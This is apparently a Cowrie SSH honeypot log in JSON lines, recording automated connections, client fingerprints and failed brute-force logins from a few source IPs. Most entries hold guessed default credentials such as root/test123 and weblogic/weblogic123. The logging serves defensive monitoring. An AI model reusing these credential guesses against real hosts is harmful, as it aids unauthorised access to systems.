{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:33.229065Z","src_ip":"176.65.132.129","session":"da0f61c602c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:34.313664Z","src_ip":"176.65.132.129","session":"da0f61c602c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34526,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b93efb3bbe6","protocol":"ssh","message":"New connection: 176.65.132.129:34526 (159.203.135.109:22) [session: 5b93efb3bbe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:36.277004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:36.281210Z","src_ip":"176.65.132.129","session":"5b93efb3bbe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:36.362878Z","src_ip":"176.65.132.129","session":"5b93efb3bbe6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass123","message":"login attempt [root/testpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:36.609125Z","src_ip":"176.65.132.129","session":"5b93efb3bbe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.348692178726196,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:37.304756Z","src_ip":"45.58.127.90","session":"04804a6ae29a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:37.703411Z","src_ip":"176.65.132.129","session":"5b93efb3bbe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34528,"dst_ip":"159.203.135.109","dst_port":22,"session":"f29863157863","protocol":"ssh","message":"New connection: 176.65.132.129:34528 (159.203.135.109:22) [session: f29863157863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:39.899168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:39.903543Z","src_ip":"176.65.132.129","session":"f29863157863","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:39.985722Z","src_ip":"176.65.132.129","session":"f29863157863","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:40.231010Z","src_ip":"176.65.132.129","session":"f29863157863","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:41.318657Z","src_ip":"176.65.132.129","session":"f29863157863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34540,"dst_ip":"159.203.135.109","dst_port":22,"session":"067e852f52a6","protocol":"ssh","message":"New connection: 176.65.132.129:34540 (159.203.135.109:22) [session: 067e852f52a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:43.382065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:43.385278Z","src_ip":"176.65.132.129","session":"067e852f52a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:43.466304Z","src_ip":"176.65.132.129","session":"067e852f52a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:43.710315Z","src_ip":"176.65.132.129","session":"067e852f52a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:44.794871Z","src_ip":"176.65.132.129","session":"067e852f52a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37306,"dst_ip":"159.203.135.109","dst_port":22,"session":"76421a2319f2","protocol":"ssh","message":"New connection: 176.65.132.129:37306 (159.203.135.109:22) [session: 76421a2319f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:46.844923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:46.848847Z","src_ip":"176.65.132.129","session":"76421a2319f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:46.930376Z","src_ip":"176.65.132.129","session":"76421a2319f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:47.177659Z","src_ip":"176.65.132.129","session":"76421a2319f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:48.262321Z","src_ip":"176.65.132.129","session":"76421a2319f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37316,"dst_ip":"159.203.135.109","dst_port":22,"session":"f878c0372272","protocol":"ssh","message":"New connection: 176.65.132.129:37316 (159.203.135.109:22) [session: f878c0372272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:50.405208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:50.408530Z","src_ip":"176.65.132.129","session":"f878c0372272","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:50.491252Z","src_ip":"176.65.132.129","session":"f878c0372272","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:50.734966Z","src_ip":"176.65.132.129","session":"f878c0372272","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.11","src_port":38478,"dst_ip":"10.17.0.5","dst_port":22,"session":"06ad1c079c21","protocol":"ssh","message":"New connection: 31.57.216.11:38478 (10.17.0.5:22) [session: 06ad1c079c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:50.892307Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:50.914216Z","src_ip":"31.57.216.11","session":"06ad1c079c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.11","src_port":38488,"dst_ip":"10.17.0.5","dst_port":22,"session":"13a17b1b0840","protocol":"ssh","message":"New connection: 31.57.216.11:38488 (10.17.0.5:22) [session: 13a17b1b0840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:51.156868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:51.160071Z","src_ip":"31.57.216.11","session":"13a17b1b0840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:51.265995Z","src_ip":"31.57.216.11","session":"13a17b1b0840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:51.612787Z","src_ip":"31.57.216.11","session":"13a17b1b0840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:51.818719Z","src_ip":"176.65.132.129","session":"f878c0372272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:52.726816Z","src_ip":"31.57.216.11","session":"13a17b1b0840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37332,"dst_ip":"159.203.135.109","dst_port":22,"session":"035bff6655c0","protocol":"ssh","message":"New connection: 176.65.132.129:37332 (159.203.135.109:22) [session: 035bff6655c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:53.776056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:53.781196Z","src_ip":"176.65.132.129","session":"035bff6655c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:53.862862Z","src_ip":"176.65.132.129","session":"035bff6655c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:54.111090Z","src_ip":"176.65.132.129","session":"035bff6655c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:55.323897Z","src_ip":"176.65.132.129","session":"035bff6655c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55798,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff79ed1f17ec","protocol":"ssh","message":"New connection: 176.65.132.129:55798 (159.203.135.109:22) [session: ff79ed1f17ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:57.166294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:57.170653Z","src_ip":"176.65.132.129","session":"ff79ed1f17ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:57.255490Z","src_ip":"176.65.132.129","session":"ff79ed1f17ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:57.502228Z","src_ip":"176.65.132.129","session":"ff79ed1f17ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:58.587013Z","src_ip":"176.65.132.129","session":"ff79ed1f17ec","protocol":"ssh"}
